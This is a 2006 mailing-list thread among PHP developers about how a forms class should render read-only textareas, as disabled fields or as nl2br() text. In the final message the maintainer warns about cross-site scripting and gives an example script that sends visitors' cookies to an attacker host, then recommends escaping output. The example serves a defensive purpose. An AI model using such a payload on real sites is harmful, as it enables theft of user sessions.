                        Here are some examples of how text looks/expands/shrinks and goes
                        with page-scrolling on lengthy articles:

                        http://www.phpclasses.org/reviews/id/B0000A432X.html

                        http://www.nytimes.com/2006/02/15/politics/15cheney.html?
                        hp&ex=1140066000&en=4115ca90864b33ca&ei=5094&partner=homepage


                        > I think I should make all other fields render also with DISABLED
                        > under read-only mode too.

                        All of our rendering in our applications is to dump the field-text
                        in read-only mode and by means of input elements in edit mode,
                        similar to:

                        <td>
                        {if $page.mode == 'edit'}
                        <input type="text" name="id" value="$data.id" ...>
                        {if $page.mode == 'add'}
                        <input type="text" name="id" value="" ...>
                        {else}
                        {$data.id}
                        {/if}
                        </td>

                        This is the standard approach we have been following on all our
                        applications/projects so far. The Forms class has been doing
                        a 'great' job with respect to the above concept - AUTOMATICALLY. If
                        you want to render data with disabled elements in read-only mode,
                        could you please make it an 'additional' optional to render as
                        disabled or text (as it does now)? This would satisfy all users and
                        make the class friendlier.

                        Thanks much,


                        >
                        >
                        > >
                        > >
                        > >
                        > >
                        > > --- In forms-dev@yahoogroups.com, Manuel Lemos <mlemos@> wrote:
                        > > >
                        > > > Hello,
                        > > >
                        > > > on 02/13/2006 05:21 AM Shekar C. Reddy said the following:
                        > > > > I guess in read-only mode, all we are interested is in
                        > replacing
                        > > the
                        > > > > new-line chars (such as paragraphs) with the <br /> tags.
                        > Since
                        > > the
                        > > > > text is rendered in readonly mode, depending on the width of
                        > the
                        > > > > browser - it can wordwrap to the maximum width possible. It
                        > does
                        > > not
                        > > > > matter if the text dump does not display in the exact number
                        > of
                        > > > > rows/columns that were used to originally capture data as
                        long
                        > > as it
                        > > > > replaces new-line chars with <br />s. Even if we originally
                        > used
                        > > > > rows/cols attributes while capturing the data, the text
                        > > > > actually 'word-wrapped' (ASCII 141 or 142 - don't remember)
                        at
                        > > the
                        > > > > end of each line which is a continuation of the current
                        > > > > line/sentence (that is not equal to a new line char: ASCII
                        10
                        > &
                        > > 13)
                        > > > > except paragraph breaks and short lines. Displaying of
                        > textarea
                        > > with
                        > > > > the exact number of rows/cols is generally done for email
                        > > messages
                        > > > > and forum messages but for long documents such as news
                        > articles
                        > > they
                        > > > > are dumped with nl2br(). Please correct me if I am wrong.
                        > > > >
                        > > > > On the other hand, text selection may be a problem if we
                        > render
                        > > > > using a disabled textarea in readonly mode. If we lasso the
                        > > mouse to
                        > > > > select the text of all the other columns alongwith the
                        > disabled
                        > > > > textarea - it is different from selecting a simple readonly
                        > text
                        > > > > dump of the columns. Rendering it with a disabled textarea
                        tag
                        > > loses
                        > > > > the 'fluidity' of the readonly mode.
                        > > > >
                        > > > > Alternately, a better way of doing this is to offer an
                        OPTION
                        > to
                        > > > > render text with nl2br() or disabled <textarea> in readonly
                        > mode
                        > > > > which would satisfy both groups of users: ReadOnlyTextArea -
                        > > similar
                        > > > > to ReadOnlyMark. You could let me know where to insert the
                        > code
                        > > and
                        > > > > I can modify the forms.php locally and let you know how it
                        > > looks. It
                        > > > > looked great and perfect when I dumped some debugged output
                        > with
                        > > > > nl2br() earlier.
                        > > >
                        > > > The ReadOnly mode was originally meant to render the values as
                        > > using
                        > > > DISABLED. When a form is submited, read-only field values are
                        > not
                        > > sent.
                        > > > The reason it has been working this way is because DISABLED
                        was
                        > not
                        > > > supported by older browsers. Practically all browsers support
                        > > DISABLED
                        > > > now. It seems to output the field the way it is more
                        consistent
                        > > with the
                        > > > original field, which is what I think what most people expect.
                        > > >
                        > > > For now, I made the textarea render with DISABLED in read-only
                        > > mode. I
                        > > > think I should make all other fields render also with DISABLED
                        > > under
                        > > > read-only mode too.
                        > > >
                        > > > I have not uploaded the changed class yet. Here you may find
                        the
                        > > latest
                        > > > version so you can try it:
                        > > >
                        > > > http://www.meta-language.net/cvs/forms/forms.php?
                        > rev=HEAD;content-
                        > > type=text%2Fplain
                        > > >
                        > > > --
                        > > >
                        > > > Regards,
                        > > > Manuel Lemos
                        > > >
                        > > > Metastorage - Data object relational mapping layer generator
                        > > > http://www.metastorage.net/
                        > > >
                        > > > PHP Classes - Free ready to use OOP components written in PHP
                        > > > http://www.phpclasses.org/
                      • Manuel Lemos
                        Hello, ... I would rather not add more options to the core class to implement custom behavior to address a very specific situation. If I do that everytime
                        Message 11 of 12 , Feb 20, 2006
                        • 0 Attachment
                          Hello,

                          on 02/15/2006 09:17 AM Shekar C. Reddy said the following:
                          > Could you please offer an additional option to render textarea with
                          > nl2br(), too? I work on an application that gathers lengthy news

                          I would rather not add more options to the core class to implement
                          custom behavior to address a very specific situation. If I do that
                          everytime somebody asks, the class will become even more bloated than it is.

                          OTOH, you can implement what you want without changing the class, like this:

                          Where you have:

                          $form->AddInputPart('mytextarea');

                          Change to:

                          ($form->ReadOnly ?
                          nl2br(HtmlSpecialChars($form->GetInputValue('mytextarea'))) :
                          $form->AddInputPart('mytextarea'))

                          If you use Smarty, I am sure there is a way to make it work like this too.


                          > . All HTML formatting embeded inside the text is rendered as 'text'
                          > in disabled textarea. Whereas nl2br() renders all HTML inside the
                          > text as-is when dumped as text. Rendering embeded HTML inside the
                          > text is very important to many applications; otherwise, the embeded
                          > HTML tags don't make sense to the reader/end-user. Plain/readonly
                          > text becomes an 'integral' part of the page which makes it look
                          > natural.

                          This is very dangerous. If you do not validate and discard certain tags,
                          you will risk your site of being abused with cross-site scripting (XSS)
                          attacks.

                          http://en.wikipedia.org/wiki/Cross_site_scripting

                          Let me give you an example, if somebody enters:

                          <script><!--
                          document.write('<script
                          src="http://www.attacker.com/?mycookies='+document.cookie.'"></script>');
                          // -->
                          </script>

                          In your textarea and you show this in your site pages, it will send your
                          site cookies of all your logged users that visit the pages. That may be
                          used to let the attackers access your site as if they were your users.

                          The problem has nothing to do with how the textarea is rendered by the
                          forms class. Even if I added the an option as you suggested, it would
                          always use HtmlSpecialChars to avoid XSS attacks, so your HTML tags
                          would always be escaped.

                          --

                          Regards,
                          Manuel Lemos

                          Metastorage - Data object relational mapping layer generator
                          http://www.metastorage.net/

                          PHP Classes - Free ready to use OOP components written in PHP
                          http://www.phpclasses.org/
                        Your message has been successfully submitted and would be delivered to recipients shortly.